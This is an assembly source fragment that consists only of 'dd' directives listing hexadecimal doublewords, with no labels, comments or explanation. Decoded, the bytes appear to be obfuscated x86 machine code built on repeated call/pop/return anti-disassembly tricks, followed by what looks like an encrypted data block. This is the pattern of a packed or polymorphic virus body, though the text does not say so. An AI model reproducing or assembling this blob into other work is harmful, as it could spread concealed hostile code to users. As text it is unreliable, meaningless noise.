		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E9736C3h, 218DBD09h, 0B58B0612h,	6121009h
		dd 0B1385C7h, 10616h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 8536F8C3h, 5999589h
		dd 16E90612h, 89000000h, 1218F1BDh, 1385C706h, 6160Bh
		dd 0F000000h, 83h, 0D19D8D00h, 66061218h, 2381F28Bh, 0FFFFFEFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F1C35141h
		dd 0E9FE0BA0h, 10h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
		dd 0FDB8C66h, 887h, 0B5896000h,	6121231h, 4C3F661h, 58840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0AE749FC3h, 0FF85454Bh, 12013595h, 15B58906h
		dd 50061231h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 33E0C355h, 0F95A12B9h
		dd 1535BD8Bh, 8BE90612h, 6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C118C357h
		dd 294407D4h, 121C3D95h, 6A00B006h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0D9AC355h
		dd 89BE9809h, 0E970E6A5h, 14h, 6599A8A4h, 0EFE27CC8h, 0D18ABC08h
		dd 0E0CEE74Dh, 655F3D36h, 820F71E4h, 0Ch, 7E9h,	0F4DB5600h
		dd 6C724615h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0A698C353h,	5BC4BBF2h
		dd 0A531400Dh, 0BAF08B66h, 6, 29BD8BF9h, 8B061218h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 11E825h, 655B0000h, 0BBDA97A2h, 0F65E62Ch, 0A36AD23Bh
		dd 29B20417h, 1209DDB5h, 0E8C15F06h, 66F28B04h,	6AE2F7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 661490C3h, 2B8D9ABEh, 0ADB523D8h, 9306120Ch,	11E8h
		dd 814C7800h, 0B0EC698h, 7D286FCh, 0AB84962h, 0B260B6B6h
		dd 0F52501Ah, 61585A31h, 0AE8505Eh, 0AF000000h,	0FDB3AE4Ch
		dd 2CE1C5E5h, 0CB7CBEE4h, 935F13CFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0F6C35646h,	0CCB17624h, 1DE62DAh
		dd 12068D9Dh, 49B5FF06h, 6A061214h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 111EC352h
		dd 0DDB529A6h, 0FF06122Ah, 1219CD95h, 0F98B6606h, 6A00B0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 10D82C3h, 0B504F03Dh, 0E8D76BD4h, 5,	0DDB38E20h, 81666038h
		dd 0F8D998E2h, 6E85F61h, 9F000000h, 3D1D708Eh, 45B53174h
		dd 5F061213h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 2569BC3h, 0E7E71C68h, 9D892408h
		dd 6121941h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 613C16C3h, 23C830Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0C51A07C3h, 1C2DB589h, 0B60F0612h, 0F7BF0FD8h, 6BAh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 376DADF8h, 2675B50Bh, 0C38B0612h, 15FDB58Bh
		dd 0E8C10612h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 4811682Dh, 8B60EC59h
		dd 120521BDh, 3BCB8106h, 6136E52Ch, 6AE2F766h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 888CC356h, 0BDBF66E2h, 6AD82B8Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 7E8C356h
		dd 8B9F5C98h, 6A58F9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0E699DBC3h, 3FFAA7C8h, 0F7B3294h
		dd 810FF7BFh, 6, 7A5BD8Bh, 0D82B0612h, 128880Fh, 14E90000h
		dd 79000000h, 0EBF02A8Eh, 0D8B31B91h, 0E8EEDAD0h, 77C700ABh
		dd 0B9B01335h, 7, 83F98B66h, 6A00C1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0F76C32C3h
		dd 0A7DEDD11h, 66879F20h, 83F8F781h, 860FD93Bh,	0D2h, 3870Fh
		dd 0BF0F0000h, 0D98C66F7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh
		dd 1DC35343h, 4B94C68Eh, 0F6779D1Bh, 840F04C1h,	76h, 13595FFh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 3EAF77C3h, 5B064C87h, 2A3AEE81h, 0C32B6315h
		dd 3DF6BF0Fh, 834h, 38860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F96DA7C3h
		dd 89344C1Dh, 12050185h, 30E906h, 81600000h, 80F202CBh
		dd 29BA6645h, 0C08B61FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 25C35545h, 3018BF49h,	0C38B070Ah, 0FE9D88Bh
		dd 88000000h, 0F562BB50h, 6383794Ah, 459362E1h,	880FA01Dh
		dd 2, 85C7FE8Bh, 61203EDh, 76B727DBh, 2041B589h, 0C08B0612h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 74C35040h
		dd 0BD8BBA9Bh, 61218C5h, 12F58589h, 0BD810612h,	6121449h
		dd 7D0h, 3F850Fh, 8D0F0000h, 0Fh, 0AE9h, 0E271CF00h, 417C7D52h
		dd 0FF115987h, 12144985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0E1066BFh
		dd 8B150BEDh, 49B5FFF2h, 6A061214h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D3A6C356h
		dd 983BF21h, 5F940A66h,	2BE19D31h, 95FF0612h, 61219CDh
		dd 90EBC7BFh, 6A9074h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 13CB1DC3h, 871434CEh, 5E9h, 37996A00h
		dd 8D89CB5Eh, 6121925h,	2AC5B58Bh, 0D7810612h, 76636B02h
		dd 4858EE81h, 81660CDFh, 6A3609D7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 41A2C350h
		dd 6A9BD33h, 8B660612h,	0F1B70FF3h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 63C35141h, 625F44D1h, 0BFD3BF71h
		dd 578AD7B3h, 8B0Fh, 8D890000h,	6121D7Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 97C35141h, 0AD74F4ECh
		dd 6688F071h, 6800Fh, 0B50B0000h, 61205A9h, 17C9BD8Bh
		dd 0BFFC0612h, 38143FF5h, 0FDDC33BEh, 52006A50h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 661B1AE5h, 4880F781h, 9E9h, 5DF72800h, 0FF290F43h, 71E9D5F3h
		dd 6AFFFFF7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0E5BDC356h, 8B181885h,	52006AC1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 7E9CCE7h, 59000000h,	6F2262F6h, 4EB979Bh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F4C35747h
		dd 4F4DC90Eh, 8F528ABFh, 0FD9D3115h, 9061222h, 121115B5h
		dd 0F7BF6606h, 1858D93h, 8B06122Eh, 1201B1BDh, 0E8605006h
		dd 14h,	0D03891B6h, 0A182437Ah,	8C8A392Ah, 68BEE922h, 67EA69C8h
		dd 310F5250h, 605E585Ah, 9E8h, 84F6E300h, 96B73A9Dh, 6158B26Dh
		dd 24048961h, 830F006Ah, 6, 26C58D29h, 6A0612h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D4C35242h, 30F3AC5h
		dd 1203C5B5h, 0BC858D06h, 89061617h, 1213F985h,	5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 45C35141h
		dd 0BBFE7529h, 90F78B40h, 6E950h, 92BD0000h, 0FE972645h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6ED57299h, 0F88B006Ah, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F947B0C3h, 0C2565B97h, 0F9C471Dh, 68Bh, 7DB58B00h
		dd 0FF061210h, 120DB595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 8D896046h
		dd 6121DD1h, 6860Fh, 95890000h,	61204D5h, 29D8D61h, 6A0615AFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 4A07C352h, 0BF0FFC93h, 6AD3FFF1h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 60F4C351h, 0D9D29h, 8D890612h, 6122629h, 0B58B6061h
		dd 6123145h, 61CFB70Fh,	67985FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 97970C3h
		dd 0D688C04Ch, 0EE814190h, 7C0360Fh, 0FA7AD781h, 35E95699h
		dd 0E8000008h, 0
		dd 0C6ED815Dh, 6A061617h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8D81C357h, 720B54AFh
		dd 1A8B0FF9h, 0E8000000h, 0Eh, 8073EABDh, 0C6CC9D0Eh, 856F6C4Ah
		dd 0B58B525Ah, 61217A1h, 49BD815Fh, 0D0061214h,	0F000007h
		dd 12786h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0FB8B69C4h, 8FF68166h, 8D9D8B96h
		dd 6A061231h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6B2AC355h, 48A4AF5Dh, 0A61DDF2h
		dd 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 5BB5F5C3h, 6E7EBC3Ch, 0B589F856h
		dd 6121149h, 850FDB0Bh,	53h, 0C6EA8160h, 610D509Ch, 68A0Fh
		dd 0DF810000h, 1819D1BCh, 15AABD83h, 0F000616h,	1B84h
		dd 3EE9FC00h, 0E9000000h, 10h, 0AFE01D05h, 261C9981h, 0CD3E3598h
		dd 0CC1014AFh, 15AA85C7h, 10616h, 0BE660000h, 16E9232Ch
		dd 66000000h, 0C7ABF2BEh, 1615AA85h, 6,	820F00h, 8B000000h
		dd 8D9D8DF8h, 6A061231h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 397BC351h, 20717DD9h
		dd 0F3DD979h, 583h, 0CE816600h,	23819DF2h, 0FFFFFEFFh
		dd 6ADB8C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7601C353h, 0F17A914h, 681h, 0A9BD8B00h
		dd 2B061217h, 12266DB5h, 4C3F606h, 79840Fh, 85890000h
		dd 6122CCDh, 13595FFh, 6A0612h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 501C89C3h, 0CE8h, 0D7ED8200h
		dd 5EB11814h, 0B2A8B1Dh, 525060F8h, 585A310Fh, 5E615950h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0D35DC355h, 5D8D89h, 8E90612h
		dd 0C2000000h, 1502E528h, 0E90E5344h, 3DCh, 69DBD8Bh, 0B00612h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FCC35242h
		dd 76C6D0D4h, 857D45B3h, 6A70E6A0h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B8EEC350h
		dd 409CB2F9h, 0BA71BEF6h, 71E4534Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 7DC35343h, 7E9h, 0E6A64400h
		dd 9342B20Fh, 89D8B60Fh, 12000D95h, 6BA06h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 8E009CC3h, 8D29B853h, 61230E1h, 0BD8BC38Bh, 61217A9h
		dd 8B04E8C1h, 121B15B5h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0A5C35646h,	5A22BF27h, 0D82B13EDh
		dd 241C8950h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	1EC35141h, 0BD8920BBh, 61231ADh, 1449B5FFh, 0B58B0612h
		dd 6121945h, 19CD95FFh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 1DFC18C3h, 81284C51h
		dd 9901EBEFh, 6E970h, 32BD0000h, 3552EAh, 52BE00B0h, 0E6400D8Fh
		dd 52006A70h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 10584Ch,	0CBFE05F2h, 71E4D53Ah, 0E9B52BF8h
		dd 3C06121Fh, 45830F61h, 66000002h, 21C4D681h, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A17FC353h, 2101497Dh, 3840F9Dh, 0F000000h
		dd 6BAFFBFh, 8B000000h,	122D51BDh, 0FB8B6606h, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 16D7DFC3h, 68F0F7Fh,	8B000000h, 121331BDh, 6830F06h
		dd 31000000h, 1212BD9Dh, 99D8906h, 0C1061207h, 6A04E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4D732DC3h, 0FCE5DA61h, 34ED8589h, 0F7810612h, 458423CAh
		dd 6AE2F766h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0AD00C357h, 370BB745h,	0CDF5F7B0h
		dd 12F5BD8Bh, 0D82B0612h, 8E960h, 0D30B0000h, 8AB30DF4h
		dd 810F4DCEh, 6, 1F0D8D01h, 58610612h, 0C94FCE81h, 0D82B325Eh
		dd 13A880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 29DE22C3h, 121F7995h, 7B906h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD03E8C3h, 6120969h, 17DB589h, 0C1830612h, 0C8A0F00h
		dd 0F000000h, 687h, 5D853100h, 3B061209h, 0CD860FD9h, 0F8000000h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 67EBC357h, 1FD771Fh, 0F6672F8Dh
		dd 840F04C1h, 62h, 23ADB58Bh, 95FF0612h, 6120135h, 85BD035Bh
		dd 2B061223h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0ED0F271Ah, 9D5BB442h, 0BD898237h
		dd 61203F5h, 8343Dh, 17860F00h,	8B000000h, 1214F9BDh, 46E906h
		dd 2B600000h, 120E819Dh, 0E58A5606h, 0C08B6158h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1EC35343h, 3C270157h
		dd 0FD7DADC8h, 6E856h, 0C0380000h, 5D704EC4h, 830Fh, 5F5F0000h
		dd 0D88BC38Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	91C35545h, 7DF2A8D7h, 0D185C7DCh, 0FB061218h, 6A10E1BDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 54FAC352h, 8B513194h, 758589F8h, 8B06122Dh
		dd 359589C0h, 8106121Bh, 121449BDh, 7D006h, 12850F00h
		dd 53000000h, 0EA56BF66h, 4985FF5Fh, 33061214h,	12087DBDh
		dd 49B5FF06h, 6A061214h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0EEEC351h, 0FBB70FE3h
		dd 10E8h, 0F83FEE00h, 4B3878Bh,	6EC867CEh, 38179B8h, 6585297Ah
		dd 5E06120Eh, 19CD95FFh, 0BD310612h, 61211B5h, 0E890F88Bh
		dd 8, 0EE931DB6h, 0D87105C7h, 0BE9h, 56342000h,	0ED952AD5h
		dd 8665F7A0h, 8D0F5FF9h, 6, 23059589h, 6A0612h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F9FEFC3h, 8C0FF9BFh, 6, 8EDBD23h, 0BA600612h, 0D74C06Ah
		dd 3800Fh, 0BF0F0000h, 880F61D2h, 20h, 6830Fh, 0BD890000h
		dd 6121E45h, 66616060h,	0F1AE7B9h, 85h,	0A5953300h, 6106121Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B5C35040h
		dd 0D6160CF0h, 58DAA226h, 11E9h, 4B38A200h, 319271DFh
		dd 97D5B567h, 723893A7h, 16023BEh, 1201FDBDh, 0ED958906h
		dd 89061208h, 1223059Dh, 0B9BE6106h, 6669398Eh,	91D3E781h
		dd 0ACFB860h, 8A5674BAh, 61FC5AE7h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 55C35646h, 6642F4D2h, 4AA4DE81h
		dd 0FFF7F6E9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 531DF64Ah, 0FA0BE71h
		dd 0BD8BF7B7h, 6120969h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 8465ADC3h, 265FA83Ah
		dd 19BDB58Bh, 4EB0612h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A9C35242h
		dd 0FBBF0F5Ah, 5DF78166h, 0EE9FDh, 512A0000h, 0E0BA5623h
		dd 0A4109C62h, 0D28DA20Bh, 0E9E28A60h, 0Fh, 0FE67542Bh
		dd 0CD0D16B5h, 0DA54E0FCh, 613F315Ah, 2E01858Dh, 8D890612h
		dd 6121B5Dh, 24048950h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0CCC35747h, 0E4BF913h, 40BE4336h, 6A0C54BBh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C7C3EE77h, 6A31C300h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0DB6259A6h, 31727DE0h, 0ED858DF9h, 89061621h, 1206B98Dh
		dd 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0C2C35545h, 4895096h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B98E179h
		dd 120DF1B5h, 0F0B70F06h, 13E8006Ah, 0A4000000h, 0EEC307A9h
		dd 6FB9D37h, 9C8B2FE1h,	0BD018DEBh, 0BD0B4B82h,	6122C11h
		dd 6A006A5Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 5222C357h, 0E72695BDh,	0F135E781h
		dd 95FF44D7h, 6120DB5h,	0FBC78166h, 896060A0h, 12035D9Dh
		dd 0B5896106h, 6122C2Dh, 29D8D61h, 6A0615AFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0CDFEC353h, 0F38BD3FFh, 67985FFh, 9600612h, 12076995h
		dd 0E0816606h, 0E961FEBEh, 776h, 0E8h, 0ED815D00h, 61621F7h
		dd 14518D01h, 0BD810612h, 6121449h, 7D0h, 1F9860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 408E2FC3h, 8C19D8Bh,	81F80612h, 100E3h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0FA312F67h, 2C75A799h, 850FDB0Bh, 0FCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4DC35141h, 0A93F2569h
		dd 0F7CD76D8h, 35858968h, 8306121Ch, 162022BDh,	840F0006h
		dd 53h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
		dd 19C35545h, 6937DA6Bh, 311167BFh, 0CFE973h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3F7DA7C3h, 4CA9DBB1h, 0A1B58B60h, 0C706121Ch, 16202285h
		dd 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 8D46E6BFh, 0E9D8532Eh, 0Bh, 0FB522869h
		dd 0D9A5918Dh, 0E901B051h, 65h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0CCC35343h,	4C5AD703h, 5C60DDEBh
		dd 1F859D29h, 95010612h, 6122F0Dh, 202285C7h, 616h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 20EAB8C3h, 27882F8h,	75B58B2Ah, 8B06122Ch, 0C19D8DF2h
		dd 6A061208h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 903BC351h, 0BF66833Ch,	23810DF5h
		dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0F3C35040h, 9101192Eh, 3D7FEAD1h, 60F28B66h, 0A463B866h
		dd 11E9h, 36A65400h, 0ECEFC6ABh, 0E6AE296Ch, 7A496487h
		dd 66610C92h, 0BF66DB8Ch, 0B70F86F0h, 4C3F6F6h,	60840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 59FE23C3h, 0E9509D0Ah, 0Ah, 97C3BE12h, 0A9AD9C75h
		dd 95FFB17Eh, 6120135h,	1B699D89h, 60500612h, 2113BA66h
		dd 9E9h, 59754200h, 0F04BBB97h,	896127C2h, 8F0F2404h, 6
		dd 9C4BDF81h, 0FBE94C1Fh, 0E9000002h, 0Fh, 90F8AE63h, 660FDA53h
		dd 0BE682420h, 0B03E84D9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E6DE181Bh
		dd 52006A70h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 9D89B79Ch, 6122691h, 6A71E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6084DBC3h
		dd 575E6BBDh, 9D8B60Fh,	12225DB5h, 6BA06h, 8B660000h, 89C38BF2h
		dd 120DD9B5h, 4E8C106h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 5C35242h, 8BE2F766h, 120C7DBDh, 6AD82B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0B2C5C350h, 667043F0h, 9304B8BFh,	0B5899350h
		dd 6120ED9h, 1449B5FFh,	0FE8B0612h, 19CD95FFh, 0BD8B0612h
		dd 6122EF5h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 4EEBC7C3h, 0BF724BEDh, 8529AE6Ah
		dd 6122FD5h, 28B0Fh, 0FB8B0000h, 71E470E6h, 1BC99D31h
		dd 613C0612h, 1B4830Fh,	0F600000h, 0B866C3BFh, 0F6105BAh
		dd 0D9BFD8B6h, 0BA59BD37h, 6, 1F698589h, 0C38B0612h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E9C35141h, 7049AAB8h
		dd 58EF45BFh, 4E8C171h,	1011BD89h, 0F7660612h, 2BFB8BE2h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 3D3B5008h, 0E958F78Bh, 10h, 0C54061F3h
		dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 880FD82Bh, 122h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h
		dd 7B98DD3h, 83000000h,	6A00C1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0E51ECEC3h, 0BFEA91F8h
		dd 0FD93BD2h, 0D186h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 26C59896h, 0A4A3B117h
		dd 10CE81FCh, 66737A47h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EFF150C3h, 3B74DA1h
		dd 0C1F63490h, 75840F04h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E89BC351h
		dd 0BDB643CEh, 0E9BD8B91h, 0FF061203h, 12013595h, 74C7BE06h
		dd 2B5B10E3h, 35B531C3h, 3D06121Bh, 834h, 2E860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 146348C3h, 3880FA4h,	0F000000h, 3E9FFB7h, 0F8000000h
		dd 0C38BC08Bh, 6AD88Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0D31C14C3h, 42665177h, 0F1BF0F3Fh
		dd 318D85C7h, 0D9D30612h, 0BF0F779Dh, 6AC08BF8h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0E526C356h, 4E622A70h, 0C0E39E06h, 23059589h, 0BD810612h
		dd 6121449h, 7D0h, 20850Fh, 0D6810000h,	4EC46725h, 88D0Fh
		dd 89500000h, 12203585h, 85FF5E06h, 6121449h, 850Fh, 0B5FF0000h
		dd 6121449h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0F2C35343h,	0CE9D0h, 0FA1D0000h
		dd 0DD0DA6FDh, 33555022h, 95FFF39Ch, 61219CDh, 0D259531h
		dd 66900612h, 669BECBEh, 0BD8BF38Bh, 61218B1h, 2E318589h
		dd 85890612h, 61201B1h,	8B1BD89h, 0B58B0612h, 6121465h
		dd 22D58D29h, 5E80612h,	0EE000000h, 0F757016h, 14E8h, 0A281B600h
		dd 3B28D89Bh, 3F909495h, 7EE086AAh, 0F6C85FAAh,	63C78103h
		dd 0E92F47A6h, 14h, 8DFEEF88h, 1323FC56h, 6078D046h, 0D9B63761h
		dd 53AB890Ch, 8D895E5Fh, 61234BDh, 1D61BD8Bh, 95090612h
		dd 6121B81h, 10A5B523h,	0BD8B0612h, 6120E81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9FC35646h, 24C1087Ah
		dd 6AECD13Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 1DA7C351h, 0D61C29DAh,	8D38449Ch
		dd 8ED8D89h, 0BE660612h, 0BD8B6E83h, 6122349h, 0BEFBB70Fh
		dd 5F427B7Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	70C35747h, 0E9499974h, 0FFFFF88Ch, 34E9F08Bh, 0DE000000h
		dd 411E4Bh, 0Bh	dup(0)
		dd 0E9000000h, 59Dh, 0B856C2B5h, 0CC6AD4C8h, 0E482E4DCh
		dd 0FA98FEF4h, 0FAD150Ah, 0E0D547A2h, 0F3EADA78h, 801F18Fh
		dd 201A0AA8h, 0C42524C2h, 0FF302B53h, 7E1F3275h, 3BE560Ch
		dd 0CB5FA134h, 0D3D0779Bh, 0E01C8689h, 2A90865Ch, 8F67D127h
		dd 7E343795h, 93832189h, 1E903B99h, 4491CED8h, 0A285EF87h
		dd 9194F2ECh, 0D27DE7DBh, 10A402FCh, 4AA6B3F7h,	0A285EF18h
		dd 0D8CEA445h, 85196F72h, 1A4E941Dh, 24C52F45h,	1D7B7544h
		dd 36968F7Fh, 0EFAFA898h, 3C9295F7h, 0F4EBA1A4h, 77368D90h
